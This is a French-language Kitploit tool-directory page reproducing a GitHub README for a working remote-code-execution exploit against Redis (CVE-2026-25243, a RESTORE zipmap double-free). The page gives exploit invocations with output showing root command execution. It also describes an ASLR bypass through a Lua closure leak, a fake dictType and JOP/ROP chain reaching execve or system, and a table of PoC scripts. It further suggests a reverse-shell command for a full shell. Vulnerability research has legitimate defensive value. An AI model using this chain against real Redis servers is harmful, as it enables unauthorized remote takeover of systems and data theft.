Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-25243 — CVE-2026-25243 — Redis RESTORE zipmap double-free → exécution de code à distance (ASLR activé). | Kitploit
Outils/GitHubGitHub/dinosn/cve-2026-25243
Criminalistique MémoireAnalyse des VulnérabilitésExploitationRétro-ingénierieTests d'IntrusionOutil d'Accès à DistanceDéveloppement de Charges UtilesExploitation de Binaires
GitHubdinosn/cve-2026-25243

CVE-2026-25243

CVE-2026-25243 — Redis RESTORE zipmap double-free → exécution de code à distance (ASLR activé).

1312il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

CVE-2026-25243 — double-free zipmap de Redis RESTORE → exécution de code à distance

TL;DR. Une charge utile DUMP malformée passée à RESTORE déclenche un double-free du tas dans le chargeur hérité hash-zipmap de Redis. Avec le jemalloc par défaut, le double-free est silencieux (le serveur continue de tourner), ce qui en fait une primitive de type confusion contrôlable. Ce dépôt enchaîne cela en exécution de code à distance avec ASLR activé — le worker Redis appelle system("<chaîne de l'attaquant>") et continue à servir. Pas un DoS.

# default Redis (DEBUG disabled), ASLR on — the most self-contained exploit (NO libc offsets):
$ python3 exploits/poc_rce_aslr_pie_rop.py --cmd "id > /tmp/pwned_pie 2>&1"
[*] self-cal: blob_base=0x7f352d800009 blob_robj=0x7f353286b8d8 pie_base=0x557ea9149000  (NO libc)
[*] fake dictType F=0x7f352e013c36  g1=0x557ea93cca87 execve=0x557ea91cee80
$ cat /tmp/pwned_pie
uid=0(root) gid=0(root) groups=0(root),...    # <- execve("/bin/sh","-c",<cmd>) as the redis process

La fuite qui neutralise l'ASLR n'utilise pas DEBUG — elle lit l'adresse de la fermeture C de Lua redis.call (EVAL 'return tostring(redis.call)'), la même technique autonome et sans DEBUG que notre exploit Redis précédent. blob_base/blob_robj et la base PIE sont ensuite dérivés à l'exécution à partir de la lecture hors limites (aucun décalage fixe). La fin en PIE-ROP appelle execve@plt via un stack-pivot JOP, elle n'utilise donc aucune adresse libc — les seules constantes spécifiques à la compilation sont les décalages de gadgets relatifs au PIE lus depuis le binaire redis-server, exactement comme la table de gadgets par compilation de notre précédent exploit HLL. Vérifié uid=0(root), ASLR activé, 8/8, sur un serveur par défaut avec DEBUG désactivé.

Deux finalisations sont fournies. poc_rce_aslr_pie_rop.py (ci-dessus) est la plus autonome — pas de libc, entièrement auto-calibrée — mais execve remplace le worker (utilisez un --cmd de reverse-shell ; idéal pour un vrai shell). poc_rce_aslr_selfcal.py garde le worker vivant (system() fork) au prix de deux décalages de version de libc. Choisissez selon que vous avez besoin que le serveur survive.


Le bug

RESTORE key 0 <DUMP-payload> désérialise un objet sérialisé. Pour le type hérité RDB_TYPE_HASH_ZIPMAP (0x09), le validateur et le convertisseur ne sont pas d'accord sur le nombre d'octets qu'occupe un champ de longueur :

  • zipmapValidateIntegrity() parcourt avec la taille réellement encodée (5 pour le préfixe surdimensionné 0xFE) ;
  • zipmapNext() lors de la conversion zipmap → listpack utilise 1 octet pour toute longueur décodée < 254.

Une petite longueur écrite sous la forme surdimensionnée de 5 octets passe la validation mais fait se décaler zipmapNext() de 4 octets. Deux conséquences découlent du même mauvais décalage : une lecture hors limites du tas (zipmap.c) et, uniquement dans Redis, un double-free du tas dans le chargeur hash-zipmap de rdb.c :

sds field = sdstrynewlen(fstr, flen);
if (!field || dictAdd(dupSearchDict, field, NULL) != DICT_OK || !lpSafeToAdd(lp, flen + vlen)) {
    dictRelease(dupSearchDict);   // (1) dictAdd took ownership of `field` -> freed here
    sdsfree(field);               // (2) freed AGAIN  -> double-free

Valkey protège cela (if (!field_added) sdsfree(field)) ; Redis en amont ne le faisait pas, donc le double-free est exclusif à Redis. Le correctif rejette la courte longueur encodée de façon surdimensionnée et réordonne les vérifications au moment du chargement.

La chaîne d'exploitation (Redis 8.6.2, x86-64, jemalloc, PIE/NX/partial-RELRO)

silent double-free  ->  type-confusion overlap  ->  arbitrary pointer-forge
   ->  forge a hashtable hash's  dict->type  to a fake dictType
   ->  HGET hd "<field>"   ==   dictFind -> type->hashFunction(field)
      libc path  (selfcal): hashFunction = &system            -> system("<cmd>")   (worker survives)
      PIE path   (pie_rop): hashFunction = JOP-pivot g1, field = ROP chain
                            -> leave;ret pivots rsp onto the field
                            -> execve("/bin/sh","-c","<cmd>")  via execve@plt        (no libc, no DEBUG)

Le dictType factice est planté dans une chaîne de 16 Mo (SETRANGE) au seul décalage dont les octets de poids faible de l'adresse correspondent à l'en-tête sds de la chaîne de l'attaquant. L'ASLR est vaincu entièrement à l'exécution :

  • system — une seule fuite de pointeur tas. Le chemin recommandé est sans DEBUG : l'adresse de la fermeture C de Lua redis.call (EVAL 'return tostring(redis.call)') — la même fuite autonome qu'utilise notre précédent exploit Redis. Les arènes jemalloc se trouvent à un décalage constant de libc, donc system = leaked_robj + Δlibc + system_off. (DEBUG OBJECT n'est qu'une commodité de laboratoire quand le scripting est désactivé mais que DEBUG est activé — la configuration plus rare.)
  • l'adresse du blob de 16 Mo (un mmap randomisé indépendamment) — lue avec la lecture arbitraire du bug lui-même : forgez le dict d'un SET pour que son membre soit une sds SDS_TYPE_32 de 107 Ko, SMEMBERS fait une lecture hors limites du tas adjacent, et le robj.ptr du blob est lu à son décalage connu.

Voir WRITEUP.md pour l'analyse complète primitive par primitive et les détails jemalloc / Redis-8.x durement acquis (frontière de la classe 64, marquage des entrées de dict, mstr des champs de hachage, pré-croissance du keyspace).

Lab

docker build -t cve-2026-25243 .
# stock (jemalloc) demo — DoS-or-not? shows the type confusion (no tooling):
docker run --rm -p 6379:6379 cve-2026-25243

# full chain — DEFAULT config (DEBUG disabled), the recommended exploit:
sysctl -w kernel.randomize_va_space=2            # ASLR ON
redis-server &                                   # DEBUG is off by default
python3 exploits/poc_rce_aslr_selfcal.py --host 127.0.0.1 --port 6379 --cmd "id > /tmp/pwned 2>&1"
fichierce qu'il démontre
★ exploits/poc_rce_aslr_pie_rop.pyla plus autonome — RCE sur un Redis par DÉFAUT (DEBUG désactivé), AUCUN décalage libc ; auto-calibre blob_base/blob_robj/pie_base ; execve@plt via pivot JOP (le worker est remplacé). 8/8.
★ exploits/poc_rce_aslr_selfcal.pysurvit au worker — même chaîne mais hashFunction=&system (fork) ; coûte deux décalages de version libc (DLIBC/SYSTEM_OFF). Fuite de fermeture Lua, auto-calibrage de blob_base/blob_robj.
exploits/poc_rce_aslr_nodebug.pysans DEBUG (fuite Lua), mais avec des décalages fixes (calibrés avec DEBUG activé)
exploits/poc_rce_aslr.pyvariante de commodité laboratoire : fuite d'amorçage DEBUG OBJECT (nécessite DEBUG activé)
exploits/poc_rce_aslr_off.pyRCE avec ASLR désactivé (adresses calibrées)
exploits/poc_typeconfusion.pydouble-free → deux clés partagent un même tampon du tas (sans outillage)
exploits/poc_doublefree.pyle double-free (ASan : heap-use-after-free dans sdsfree)
exploits/poc_dos_overread.pyle crash de lecture hors limites (ASan)

La fuite qui neutralise l'ASLR (sans DEBUG)

Télécharger l’outil